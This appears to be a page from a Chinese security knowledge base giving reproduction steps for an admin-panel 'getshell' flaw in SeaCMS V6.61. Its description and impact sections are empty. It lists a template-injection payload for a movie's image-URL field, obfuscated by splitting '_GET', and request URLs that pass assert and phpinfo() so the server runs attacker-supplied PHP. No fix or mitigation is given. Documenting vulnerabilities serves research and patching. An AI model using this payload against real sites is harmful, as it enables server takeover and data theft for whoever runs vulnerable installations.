menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Seacms V6.61 后台getshell chevron_right Seacms V6.61 后台getshell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Seacms V6.61 后台getshell.md
    619 B / 2021-07-15 20:02:56
        Seacms V6.61 后台getshell
    =========================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    首先登录到管理面板,在这种情况下,将admin目录调整为`/backend`
    
    其次添加电影并将其图片地址设置为` {if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}`
    
    添加访问后,`/details/index.php?1.html&m=admin&a=assert&b=phpinfo();`
    
    这里的1.html是您刚刚添加的视频的ID。
    
    或者,可以访问`/search.php?searchtype=5&tid=0&a=assert&b=phpinfo();`显示您刚添加的视频图片的任何其他地方。
    
    
    links
    file_download